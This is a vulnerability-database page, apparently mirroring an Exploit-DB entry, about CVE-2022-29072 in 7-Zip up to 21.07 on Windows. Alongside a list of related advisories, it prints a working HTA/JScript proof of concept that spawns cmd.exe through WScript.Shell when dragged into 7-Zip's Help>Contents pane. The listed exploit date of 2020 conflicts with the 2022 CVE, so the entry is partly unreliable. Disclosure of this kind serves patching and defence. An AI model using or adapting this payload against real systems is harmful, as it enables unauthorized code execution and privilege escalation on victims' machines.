7-zip - Code Execution / Local Privilege Escalation

🗓️ 19 Apr 2022 00:00:00Reported by Kağan ÇaparType

exploitdb🔗 www.exploit-db.com👁 2526 Views

7-Zip code exec/privilege escalation, 21.0

Reporter	Title	Published	Views	Family All 21
0day.today	7-zip - Code Execution / Local Privilege Escalation Exploit	19 Apr 202200:00	–	zdt
GithubExploit	Exploit for Out-of-bounds Write in 7-Zip	18 Apr 202217:08	–	githubexploit
GithubExploit	Exploit for Out-of-bounds Write in 7-Zip	15 Apr 202222:59	–	githubexploit
GithubExploit	Exploit for Out-of-bounds Write in 7-Zip	18 Apr 202218:59	–	githubexploit
Circl	CVE-2022-29072	16 Apr 202200:20	–	circl
CNNVD	7-Zip 缓冲区错误漏洞	15 Apr 202200:00	–	cnnvd
CVE	CVE-2022-29072	15 Apr 202219:54	–	cve
Cvelist	CVE-2022-29072	15 Apr 202219:54	–	cvelist
Gitee	Exploit for Out-of-bounds Write in 7-Zip	6 Sep 202500:58	–	gitee
Hive Pro Threat Advisories	Weekly Threat Digest: 18 – 24 April 2022	27 Apr 202212:44	–	hivepro

# Exploit Title: 7-zip - Code Execution / Local Privilege Escalation
# Exploit Author:  Kağan Çapar
# Date: 2020-04-12
# Vendor homepage: https://www.7-zip.org/
# Software link: https://www.7-zip.org/a/7z2107-x64.msi
# Version: 21.07 and all versions
# Tested On: Windows 10 Pro (x64)
# References: https://github.com/kagancapar/CVE-2022-29072

# About:
7-Zip through 21.07 on Windows allows privilege escalation and command execution when a file with the .7z extension is dragged to the Help>Contents area.

# Proof of Concept:
<html>
<head>
<HTA:APPLICATION ID="7zipcodeexec">
<script language="jscript">
var c = "cmd.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
<head>
<html>

19 Apr 2022 00:00Current

0.4Low risk

Vulners AI Score0.4

CVSS 27.2

CVSS 3.17.8

EPSS0.18893

SSVC